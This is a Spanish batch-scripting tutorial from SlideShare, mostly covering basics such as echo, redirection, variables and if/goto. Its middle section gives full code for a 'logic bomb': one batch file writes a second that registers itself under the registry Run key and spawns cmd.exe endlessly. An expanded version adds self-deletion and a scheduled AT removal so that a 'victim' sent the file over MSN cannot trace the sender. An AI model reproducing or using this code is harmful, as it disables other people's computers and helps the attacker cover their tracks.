SlideShare une entreprise Scribd logo
1  sur  6
Télécharger pour lire hors ligne
TUTORIAL DE PROGRAMACIÓN BATCH
By RevangelyonX
Buenas a todo, bueno e pensado en crear un tutorial de Batch para la gente del foro que quiere
aprender Batch, la verdad esque voy a estar un largooo rato, y espero que no me olvide nada. Podeis
criticar, dar opiniones (y espero que lo hagais) sobre el tuto.
Por cierto, si alguién quiere subirlo a su web, o quiere “colarlo” a otra página o foro. Que ponga su
autor. Osea mi nombre.. jeje alla va.
Empecemos con una explicación de lo que es el bat
Definición de Bat :
Son archivos por lotes, es decir, que su código se escribe en texto plano (blog de notas, Edit,
Wordpad, etc..) y va desde arriba hasta abajo. No necesita un compilador, solo al terminar el códig,
nos dirigimos a Guardar como...--->nombre.bat
Nota : Es preciso escribir la extensión bat porque si no, no funcionaria.
Vamos a ver, yo usaré mucho el comando ECHO para que comprendáis un poco mejor como va la
cosa.. Pero pensar que se pueden usar todos los comandos que queramos.
@echo off
cd 
echo hola
pause
exit
Este es un sencillísimo bat, cuando lo abramos se verá lo siguiente :
Si abrimos la shell, desde inicio --> ejecutar -->command.com y marcamos el código paso a paso
veremos lo que pasa. El @ del echo off, permite que no se vea el comando que va a continuación,
pero no será necesario marcarlo siempre, si el bat es pequeño. El comando cd  (Change Dir) quiere
decir que cambie el directorio a  que simboliza raíz, osea C: o D: bueno nuestro disco principal.
La programación batch se basa en los comandos de el tan conocido como MS-DOS por lo tanto, no
tendremos tantas funciones como las puede tener C++ o VB.
Redireccionamientos :
Abrimos una shell, lo primero que veremos será C:Documents and settingsUsuario.
(Win XP), lo que haremos será ir a C: marcando cd . y podremos ver C: (opcional).
Ahora marcamos :
echo hola > hola.txt
minimizamos la shell abrimos C: y veremos un archivo (hola.txt) en el que se encontrará dentro
“hola”. Volvemos a la shell y marcamos :
echo adios >> hola.txt
Al abrirlo de nuevo, veremos :
hola
adios
En cambio, si marcamso en la shell
echo change > hola.txt
al abrir el hola.txt todo lo que estava escrito, se abrá borrado, por “change”.
Resumen :
> Crea o Remplaza en un archivo
>> Salta hasta la siguiente línea,
Espero que esto no os haya causado ningún misterio, ni problemas.
Variables :
Espero que aquí no os perdáis. Sinceramente, no se muy bien como definir esto. Una variable es un
espacio de memoria donde se le puede asignar un comando y puede variar. Para que lo comprendáis
mejor, os lo explicaré con distintos ejemplos :
Para empezar, en la shell marcaremos set /?
Echo esto, (después de leerlo) marcaremos set var=RevangelyonX.
Estamos asignando RevangelyonX a la variable var (inventada)
Ahora marcaremos echo %var% y obtendremos este resultado :
Si marcamos set a secas, veremos todas las variables que ya existen en nuestro PC, entre otras
veremos var=revangelyonx, pero cuando cerremos la shell, esta variable desaparecerá, tranquilos
.
Nota : Cuando la consola llama a una variable, siempre, repito siempre tiene que tener % %, en
algunas ocasiones llevan %% %% pero eso ya lo comentaré más tarde.
Si nos emos leído la aydua de set /? observamos que tiene unos parametros como /P o /a.
Utilizaremos /P como primer ejemplo.
@echo off
cd 
set /P var1=Escribe tu nombre
echo %var1%
pause
exit
Si lo abrimos, veremos que el programa nos pide como nos llamamos, y lo que escribamos se
almacenará en la variable %var1%, que después será llamada por el Comando ECHO. Y el
comando PAUSE hará parar nuestro programa.
Nota : Si no huvieramos marcado el comando Pause, y si no marcamos una “pregunta”con Set. El
programa se cerrará, en el caso de que no lo huvieramos marcado. No huvieramos podido ver Echo
%var1%.
Podemos poner todas las varibles que queramos.
@echo off
set /P var=tu nombre :
set /P var1=tu apellido :
echo Usted se llama %var% %var1%
pause
exit.
Si empezáis a comprender el sistema, sabréis lo que va a ocurrir cuando abráis el programa
Pasemos ahora al parametro /a.
Este sirve para hacer calculos. Vamos a la hsell y marcamos set /a 1 + 2
el resultado que nos dará la shell será 3. Ahroa en la shell marcamos :
set var=1
set var2=2
set /a %var% + %var2%
resultado = 3
Pero en un bat las cosas no son del todo igual, para conseguir el resultado, podriamos hacerlo de la
siguiente manera.
@echo off
set var=1
set var3=2
set /a resultado=%var%+%var3%
echo %resultado%
pause
exit
Si comprendéis, hacemos que el resultado del calculo 1+2 se almacene en la variable %resultado%
que será mostrado por ECHO.
Comandos de condición :
Si pasa esto, haz esto. Esa es la traducción de este comando. Pero tenemos que dejar una cosa clara.
Para que este comando funcione en según que ocasiones, necesitamos utilizar, lo que son las
etiquetas. Ejemplo :
:menu
@echo off
cls
cd
set /P var=Escribe tu nombre:
if %var%==%var% (goto next) else goto menu
:next
echo bien echo
pause
exit
Explicación :
Primero pedimos una variable, con set /P, y con el comando if, decimos, si en %var% hay algo
marcado (%var%) ves a “next”, sino (else) vuelve a “menu”.El trio IF, SET, GOTO es genial, para
la programación Batch. Otro ejemplo :
@echo off
:menu
set /P var1=Deseas realmente borrar el archivo ? s/n :
if %var1%==s goto si
if %var1%==n goto no
:si
echo tu archivo a sido borrado satisgfactoriamente
del /S /Q archivo.txt
goto menu
:no
echo bueno pues gracias por usar mi programa
pause
exit
Ahora ya tenemos un poco de conocimientos para crear bats.
Voy a explicaros lo que es una bomba lógica. (algo destructivo )
Para empezar, tenéis que aver comprendido los redireccionamientos, de acuerdo ?
Bueno este es el objectivo :
1.) Crear un bat que cree otro bat
2.) el segundo bat tiene que ser "destructivo"
Eso, es lo que es una bomba lógica. Vamos a ver un ejemplo :
------Bat 1------
@echo off
cd 
cd Windowssystem32
echo @echo off > bat2.bat
echo cd  >> bat2.bat
echo reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2"
>> bat2.bat
echo :bucle >> bat2.bat
echo start cmd.exe >> bat2.bat
echo goto bucle >> bat2.bat
Vamos a ver si lo emos comprendido. primero, miraremos como a quedado el bat 2
------Bat 2------
@echo off
cd 
reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2"
:bucle
start cmd.exe
goto bucle
El bat 1, envia con el comando ECHO los códigos que tenemos justo encima. Lo que hace el Bat2
es crear un valor alfanúmerico en el registro, de tal forma que se inicie cada vez que se encienda el
PC. despues pone una etiqueta llamada Bucle, y abre el archivo : cmd.exe y después vuelve a la
etiqueta Bucle, de forma que cmd.exe se abrirá infinitamente, de forma que puede causar
grandisimos daños al PC.
Nota: No pongo esto, para usuarios malintencionados. Pero ahora que estamos tocando el tema de
Virus en Batch (otro post) pues lo pongo jeje
Podriamos añadirle un temporizador con el comando AT para no dejar rastro.
Explicación :
El usuario, abre el bat1, este creará otro bat. que le "joderá" el sistema, pero es capaz de repararlo, y
buscando bien puede saber quién se lo paso a una cierta hora (por el MSN, etc..) asi que si hacemos
lo siguiente en el bat1 podremos eliminar nuestras huellas.
------Bat 1------
@echo off
cd 
AT 00:00 del bat2.bat
echo @echo off > bat2.bat
echo cd  >> bat2.bat
echo del /S /Q bat1.bat >> bat2.bat
echo reg add rutadelregistrorun /v sysreg /t REG_SZ /d "Rutabat2"
>> bat2.bat
echo :bucle >> bat2.bat
echo start cmd.exe >> bat2.bat
echo goto bucle >> bat2.bat
start bat2.bat
exit
Lo que hará será que a las 00.00 borrará el bat2.bat (cosa que no tendria sentido, ponerlo en el
registro, pero es un ejemplo no?
Como podéis ver, le emos añadido dos comandosal bat2.
* Al final del todo, lo que ocurrirá será lo siguiente, la "vicitma" abre el bat1.bat, pondrá a las 00.00
que borre el bat2.bat, después de eso, el bat1.bat abrirá el bat2. Que este, borrará el 1. Hará lo que
tiene que hacer, y a las 00:00 será borrado.
No se si me e explicado bien, hasta yo me e liado jejeje, sin olvidar de borrar el registro antes de
que se borre el último bat. Reg del....
Bueno, vamos a detallar un poco más, lo anterior...
Si queremos saltarnos una línea cuando se abrá nuestro programa pondremos
echo. No me preguntéis el ¿ porque ? del PUNTO porque no lo sé... disculparme jeje
:menu
@echo off
cd
echo.
echo.
set /P var=Porfavor, introduzca el password :
if %var%==Batchcoder (goto continue) else echo se a equivocado&pause&goto menu
:continue
cls
echo.
echo Genial, ya puedes seguir.
echo.
pause
exit
Explicación:
Bueno como ya debéis saber, al abrir el programa, veremos "Porfavor, introduzca el password : "
si escribimos Batchcoder ira a "continue" sino (else) hará echo se a ekivocado ( & es igual a
también) pause, para que no se cierre en el momento. & goto menu. Para que el usuario vuelva a
escribir su código.
Podemos usar las variables que ya existen en SET.
echo Hola %username% Porfavor, introduzca su código. (el usuario verá)
Hola RevangelyonX Profavor, introduzca su código.
Nota : Se me olvido comentarles, como siempre dice mi amigo EGROJ, hay que tener en cuenta,
que cada Sistema Operativo, varía sus comandos, es decir que XP tiene comandos que Win98 no
tien y viceversa.
Las variables, ayudan muchísimo a la hora de enviar un bat, ya que no conocemos por ejemplo cual
es su HD o su Username, teniendo las variables se puede "saber sin saber".
Hablemos, del paramtro /a. Bueno este, no solo es capaz de hacer una operación, el código que os e
puesto anteriormente, es un ejemplo muy sencillo.
También existe la posiblidad de utilizar las parentesis " ( ) " del mismo modo como lo hariais sobre
papel y lápiz .
Bueno la verdad, esque no se que más podemos decir como tutorial para tener más conocimientos...
sólo me quedan ejemplos. Pero eso no servirá mucho ahora.
Lo importante esque hayamos comprendido las bases de la programación Batch, ahora solo queda
vuestra imaginación, espero que tengais muchísima .
Salu2!
RevangelyonX

Contenu connexe

Tendances

Doc trashes24214
Doc trashes24214Doc trashes24214
Doc trashes24214RICK RAMOS
 
Navegadores bueno
Navegadores buenoNavegadores bueno
Navegadores buenojuanjoramon
 
Explicacion de comandos basicos del cmd
Explicacion de comandos basicos del cmdExplicacion de comandos basicos del cmd
Explicacion de comandos basicos del cmdmanolinxxx
 
Navegadores bueno
Navegadores buenoNavegadores bueno
Navegadores buenojuanjoramon
 
Instalacion y configuracion de ssh en windows xp o server 2003
Instalacion y configuracion de ssh en windows xp o server 2003Instalacion y configuracion de ssh en windows xp o server 2003
Instalacion y configuracion de ssh en windows xp o server 2003Andy Endara
 
Como reducir el ping alto en dota 2
Como reducir el ping alto en dota 2Como reducir el ping alto en dota 2
Como reducir el ping alto en dota 2Meng Zhou
 
Poner en español la ayuda ma.
Poner en español la ayuda ma.Poner en español la ayuda ma.
Poner en español la ayuda ma.Mary Tenelema
 
Como instalar Prolog en Windows
Como instalar Prolog en WindowsComo instalar Prolog en Windows
Como instalar Prolog en WindowsCesarMartinez474
 
Manual de Lenguaje Batch
Manual de Lenguaje BatchManual de Lenguaje Batch
Manual de Lenguaje BatchMauricio Melo
 
Manual FlashFXP by Dj Keller
Manual FlashFXP by Dj KellerManual FlashFXP by Dj Keller
Manual FlashFXP by Dj Kellerdegarden
 
slackware linux
slackware linuxslackware linux
slackware linuxCarlos Rup
 

Tendances (16)

Doc trashes24214
Doc trashes24214Doc trashes24214
Doc trashes24214
 
Navegadores bueno
Navegadores buenoNavegadores bueno
Navegadores bueno
 
Explicacion de comandos basicos del cmd
Explicacion de comandos basicos del cmdExplicacion de comandos basicos del cmd
Explicacion de comandos basicos del cmd
 
Navegadores bueno
Navegadores buenoNavegadores bueno
Navegadores bueno
 
Instalacion y configuracion de ssh en windows xp o server 2003
Instalacion y configuracion de ssh en windows xp o server 2003Instalacion y configuracion de ssh en windows xp o server 2003
Instalacion y configuracion de ssh en windows xp o server 2003
 
Como reducir el ping alto en dota 2
Como reducir el ping alto en dota 2Como reducir el ping alto en dota 2
Como reducir el ping alto en dota 2
 
Poner en español la ayuda ma.
Poner en español la ayuda ma.Poner en español la ayuda ma.
Poner en español la ayuda ma.
 
Como instalar Prolog en Windows
Como instalar Prolog en WindowsComo instalar Prolog en Windows
Como instalar Prolog en Windows
 
Acti s o
Acti s oActi s o
Acti s o
 
Solucion reto breach
Solucion reto breachSolucion reto breach
Solucion reto breach
 
Ejercicios sobre procesos en Windows y Linux
Ejercicios sobre procesos en Windows y LinuxEjercicios sobre procesos en Windows y Linux
Ejercicios sobre procesos en Windows y Linux
 
Manual de Lenguaje Batch
Manual de Lenguaje BatchManual de Lenguaje Batch
Manual de Lenguaje Batch
 
Manual FlashFXP by Dj Keller
Manual FlashFXP by Dj KellerManual FlashFXP by Dj Keller
Manual FlashFXP by Dj Keller
 
Introducc..
Introducc..Introducc..
Introducc..
 
slackware linux
slackware linuxslackware linux
slackware linux
 
Reto spyder sec
Reto spyder secReto spyder sec
Reto spyder sec
 

Similaire à TUTORIAL BATCH PROGRAMACIÓN

Similaire à TUTORIAL BATCH PROGRAMACIÓN (20)

manual-batch-desde-0
manual-batch-desde-0manual-batch-desde-0
manual-batch-desde-0
 
Manual batch
Manual batchManual batch
Manual batch
 
Que son los archivos batch
Que son los archivos batchQue son los archivos batch
Que son los archivos batch
 
Hack x crack_batch2
Hack x crack_batch2Hack x crack_batch2
Hack x crack_batch2
 
Manual de programacion_en_batch_by_dhyablo
Manual de programacion_en_batch_by_dhyabloManual de programacion_en_batch_by_dhyablo
Manual de programacion_en_batch_by_dhyablo
 
Hack x crack_batch1
Hack x crack_batch1Hack x crack_batch1
Hack x crack_batch1
 
ejemplo
ejemploejemplo
ejemplo
 
Archivos batch
Archivos batchArchivos batch
Archivos batch
 
Tutrorial batch de hackxcrak
Tutrorial batch de hackxcrakTutrorial batch de hackxcrak
Tutrorial batch de hackxcrak
 
Curso de batch_desde_0_por_juanla
Curso de batch_desde_0_por_juanlaCurso de batch_desde_0_por_juanla
Curso de batch_desde_0_por_juanla
 
Encriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassizEncriptacion y crackmes_en_batch_desde_0_by_xassiz
Encriptacion y crackmes_en_batch_desde_0_by_xassiz
 
Hack x crack_batch1
Hack x crack_batch1Hack x crack_batch1
Hack x crack_batch1
 
Hack x crack_batch1sankrex
Hack x crack_batch1sankrexHack x crack_batch1sankrex
Hack x crack_batch1sankrex
 
Programacionbat
ProgramacionbatProgramacionbat
Programacionbat
 
Comandos basicos para la programación en javascript
Comandos basicos para la programación en javascriptComandos basicos para la programación en javascript
Comandos basicos para la programación en javascript
 
Programacionbat
ProgramacionbatProgramacionbat
Programacionbat
 
Emulador emu 8086
Emulador emu 8086Emulador emu 8086
Emulador emu 8086
 
Emulador emu 8086
Emulador emu 8086Emulador emu 8086
Emulador emu 8086
 
Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4
 
Registro de windows opera presentation
Registro de windows opera presentationRegistro de windows opera presentation
Registro de windows opera presentation
 

Plus de alan moreno

Poo y mvc en php
Poo y mvc en phpPoo y mvc en php
Poo y mvc en phpalan moreno
 
Ejercicios resueltos en c
Ejercicios resueltos en cEjercicios resueltos en c
Ejercicios resueltos en calan moreno
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datosalan moreno
 
Batch file programming
Batch file programmingBatch file programming
Batch file programmingalan moreno
 
Base de datos postgresql
Base de datos postgresqlBase de datos postgresql
Base de datos postgresqlalan moreno
 
Algebra lineal (2ª edición) stanley grossman
Algebra lineal (2ª edición) stanley grossmanAlgebra lineal (2ª edición) stanley grossman
Algebra lineal (2ª edición) stanley grossmanalan moreno
 
Actuadores Eléctricos
Actuadores Eléctricos Actuadores Eléctricos
Actuadores Eléctricos alan moreno
 
Método de la bisección
Método de la bisecciónMétodo de la bisección
Método de la bisecciónalan moreno
 
Herramientas case snap
Herramientas case snapHerramientas case snap
Herramientas case snapalan moreno
 
Manual php5 basico
Manual php5 basicoManual php5 basico
Manual php5 basicoalan moreno
 
Manual de lenguaje c++
Manual de lenguaje c++Manual de lenguaje c++
Manual de lenguaje c++alan moreno
 
Manual completo python
Manual completo pythonManual completo python
Manual completo pythonalan moreno
 
Introducción a php
Introducción a phpIntroducción a php
Introducción a phpalan moreno
 
CCN3Switching_lab_5_5_2
CCN3Switching_lab_5_5_2CCN3Switching_lab_5_5_2
CCN3Switching_lab_5_5_2alan moreno
 
Uso de los corchetes [ ]
Uso de los corchetes [  ]Uso de los corchetes [  ]
Uso de los corchetes [ ]alan moreno
 
Sensores-parte iii.presion
 Sensores-parte iii.presion Sensores-parte iii.presion
Sensores-parte iii.presionalan moreno
 
Diferenciación por 3 y 5 puntos
Diferenciación por 3 y 5 puntosDiferenciación por 3 y 5 puntos
Diferenciación por 3 y 5 puntosalan moreno
 

Plus de alan moreno (20)

Poo y mvc en php
Poo y mvc en phpPoo y mvc en php
Poo y mvc en php
 
html5-css3
html5-css3html5-css3
html5-css3
 
Ejercicios resueltos en c
Ejercicios resueltos en cEjercicios resueltos en c
Ejercicios resueltos en c
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datos
 
Batch file programming
Batch file programmingBatch file programming
Batch file programming
 
Base de datos postgresql
Base de datos postgresqlBase de datos postgresql
Base de datos postgresql
 
Algebra lineal (2ª edición) stanley grossman
Algebra lineal (2ª edición) stanley grossmanAlgebra lineal (2ª edición) stanley grossman
Algebra lineal (2ª edición) stanley grossman
 
Actuadores Eléctricos
Actuadores Eléctricos Actuadores Eléctricos
Actuadores Eléctricos
 
Primitivas
PrimitivasPrimitivas
Primitivas
 
Método de la bisección
Método de la bisecciónMétodo de la bisección
Método de la bisección
 
Herramientas case snap
Herramientas case snapHerramientas case snap
Herramientas case snap
 
Manual php5 basico
Manual php5 basicoManual php5 basico
Manual php5 basico
 
Manual de lenguaje c++
Manual de lenguaje c++Manual de lenguaje c++
Manual de lenguaje c++
 
Manual completo python
Manual completo pythonManual completo python
Manual completo python
 
Introducción a php
Introducción a phpIntroducción a php
Introducción a php
 
CCN3Switching_lab_5_5_2
CCN3Switching_lab_5_5_2CCN3Switching_lab_5_5_2
CCN3Switching_lab_5_5_2
 
Uso de los corchetes [ ]
Uso de los corchetes [  ]Uso de los corchetes [  ]
Uso de los corchetes [ ]
 
Sensores-parte iii.presion
 Sensores-parte iii.presion Sensores-parte iii.presion
Sensores-parte iii.presion
 
Actuadores
ActuadoresActuadores
Actuadores
 
Diferenciación por 3 y 5 puntos
Diferenciación por 3 y 5 puntosDiferenciación por 3 y 5 puntos
Diferenciación por 3 y 5 puntos
 

Dernier

01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt
01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt
01 MATERIALES AERONAUTICOS VARIOS clase 1.pptoscarvielma45
 
Falla de san andres y el gran cañon : enfoque integral
Falla de san andres y el gran cañon : enfoque integralFalla de san andres y el gran cañon : enfoque integral
Falla de san andres y el gran cañon : enfoque integralsantirangelcor
 
Propuesta para la creación de un Centro de Innovación para la Refundación ...
Propuesta para la creación de un Centro de Innovación para la Refundación ...Propuesta para la creación de un Centro de Innovación para la Refundación ...
Propuesta para la creación de un Centro de Innovación para la Refundación ...Dr. Edwin Hernandez
 
hitos del desarrollo psicomotor en niños.docx
hitos del desarrollo psicomotor en niños.docxhitos del desarrollo psicomotor en niños.docx
hitos del desarrollo psicomotor en niños.docxMarcelaArancibiaRojo
 
UNIDAD 3 ELECTRODOS.pptx para biopotenciales
UNIDAD 3 ELECTRODOS.pptx para biopotencialesUNIDAD 3 ELECTRODOS.pptx para biopotenciales
UNIDAD 3 ELECTRODOS.pptx para biopotencialesElianaCceresTorrico
 
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdf
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdfLA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdf
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdfbcondort
 
desarrollodeproyectoss inge. industrial
desarrollodeproyectoss  inge. industrialdesarrollodeproyectoss  inge. industrial
desarrollodeproyectoss inge. industrialGibranDiaz7
 
Maquinaria Agricola utilizada en la produccion de Piña.pdf
Maquinaria Agricola utilizada en la produccion de Piña.pdfMaquinaria Agricola utilizada en la produccion de Piña.pdf
Maquinaria Agricola utilizada en la produccion de Piña.pdfdanielJAlejosC
 
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdf
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdfMODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdf
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdfvladimirpaucarmontes
 
PostgreSQL on Kubernetes Using GitOps and ArgoCD
PostgreSQL on Kubernetes Using GitOps and ArgoCDPostgreSQL on Kubernetes Using GitOps and ArgoCD
PostgreSQL on Kubernetes Using GitOps and ArgoCDEdith Puclla
 
osciloscopios Mediciones Electricas ingenieria.pdf
osciloscopios Mediciones Electricas ingenieria.pdfosciloscopios Mediciones Electricas ingenieria.pdf
osciloscopios Mediciones Electricas ingenieria.pdfIvanRetambay
 
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERAS
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERASDOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERAS
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERASPersonalJesusGranPod
 
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVIL
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVILClase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVIL
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVILProblemSolved
 
ECONOMIA APLICADA SEMANA 555555555555555555.pdf
ECONOMIA APLICADA SEMANA 555555555555555555.pdfECONOMIA APLICADA SEMANA 555555555555555555.pdf
ECONOMIA APLICADA SEMANA 555555555555555555.pdffredyflores58
 
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdfCristhianZetaNima
 
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptx
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptxProcesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptx
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptxJuanPablo452634
 
Mapas y cartas topográficas y de suelos.pptx
Mapas y cartas topográficas y de suelos.pptxMapas y cartas topográficas y de suelos.pptx
Mapas y cartas topográficas y de suelos.pptxMONICADELROCIOMUNZON1
 
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZ
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZ
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZgustavoiashalom
 
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESO
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESOCAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESO
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESOLUISDAVIDVIZARRETARA
 
aCARGA y FUERZA UNI 19 marzo 2024-22.ppt
aCARGA y FUERZA UNI 19 marzo 2024-22.pptaCARGA y FUERZA UNI 19 marzo 2024-22.ppt
aCARGA y FUERZA UNI 19 marzo 2024-22.pptCRISTOFERSERGIOCANAL
 

Dernier (20)

01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt
01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt
01 MATERIALES AERONAUTICOS VARIOS clase 1.ppt
 
Falla de san andres y el gran cañon : enfoque integral
Falla de san andres y el gran cañon : enfoque integralFalla de san andres y el gran cañon : enfoque integral
Falla de san andres y el gran cañon : enfoque integral
 
Propuesta para la creación de un Centro de Innovación para la Refundación ...
Propuesta para la creación de un Centro de Innovación para la Refundación ...Propuesta para la creación de un Centro de Innovación para la Refundación ...
Propuesta para la creación de un Centro de Innovación para la Refundación ...
 
hitos del desarrollo psicomotor en niños.docx
hitos del desarrollo psicomotor en niños.docxhitos del desarrollo psicomotor en niños.docx
hitos del desarrollo psicomotor en niños.docx
 
UNIDAD 3 ELECTRODOS.pptx para biopotenciales
UNIDAD 3 ELECTRODOS.pptx para biopotencialesUNIDAD 3 ELECTRODOS.pptx para biopotenciales
UNIDAD 3 ELECTRODOS.pptx para biopotenciales
 
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdf
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdfLA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdf
LA APLICACIÓN DE LAS PROPIEDADES TEXTUALES A LOS TEXTOS.pdf
 
desarrollodeproyectoss inge. industrial
desarrollodeproyectoss  inge. industrialdesarrollodeproyectoss  inge. industrial
desarrollodeproyectoss inge. industrial
 
Maquinaria Agricola utilizada en la produccion de Piña.pdf
Maquinaria Agricola utilizada en la produccion de Piña.pdfMaquinaria Agricola utilizada en la produccion de Piña.pdf
Maquinaria Agricola utilizada en la produccion de Piña.pdf
 
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdf
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdfMODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdf
MODIFICADO - CAPITULO II DISEÑO SISMORRESISTENTE DE VIGAS Y COLUMNAS.pdf
 
PostgreSQL on Kubernetes Using GitOps and ArgoCD
PostgreSQL on Kubernetes Using GitOps and ArgoCDPostgreSQL on Kubernetes Using GitOps and ArgoCD
PostgreSQL on Kubernetes Using GitOps and ArgoCD
 
osciloscopios Mediciones Electricas ingenieria.pdf
osciloscopios Mediciones Electricas ingenieria.pdfosciloscopios Mediciones Electricas ingenieria.pdf
osciloscopios Mediciones Electricas ingenieria.pdf
 
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERAS
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERASDOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERAS
DOCUMENTO PLAN DE RESPUESTA A EMERGENCIAS MINERAS
 
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVIL
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVILClase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVIL
Clase 7 MECÁNICA DE FLUIDOS 2 INGENIERIA CIVIL
 
ECONOMIA APLICADA SEMANA 555555555555555555.pdf
ECONOMIA APLICADA SEMANA 555555555555555555.pdfECONOMIA APLICADA SEMANA 555555555555555555.pdf
ECONOMIA APLICADA SEMANA 555555555555555555.pdf
 
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf
04. Sistema de fuerzas equivalentes II - UCV 2024 II.pdf
 
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptx
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptxProcesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptx
Procesos-de-la-Industria-Alimentaria-Envasado-en-la-Produccion-de-Alimentos.pptx
 
Mapas y cartas topográficas y de suelos.pptx
Mapas y cartas topográficas y de suelos.pptxMapas y cartas topográficas y de suelos.pptx
Mapas y cartas topográficas y de suelos.pptx
 
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZ
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZ
ANALISIS Y DISEÑO POR VIENTO, DE EDIFICIOS ALTOS, SEGUN ASCE-2016, LAURA RAMIREZ
 
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESO
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESOCAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESO
CAPITULO 4 ANODIZADO DE ALUMINIO ,OBTENCION Y PROCESO
 
aCARGA y FUERZA UNI 19 marzo 2024-22.ppt
aCARGA y FUERZA UNI 19 marzo 2024-22.pptaCARGA y FUERZA UNI 19 marzo 2024-22.ppt
aCARGA y FUERZA UNI 19 marzo 2024-22.ppt
 

TUTORIAL BATCH PROGRAMACIÓN

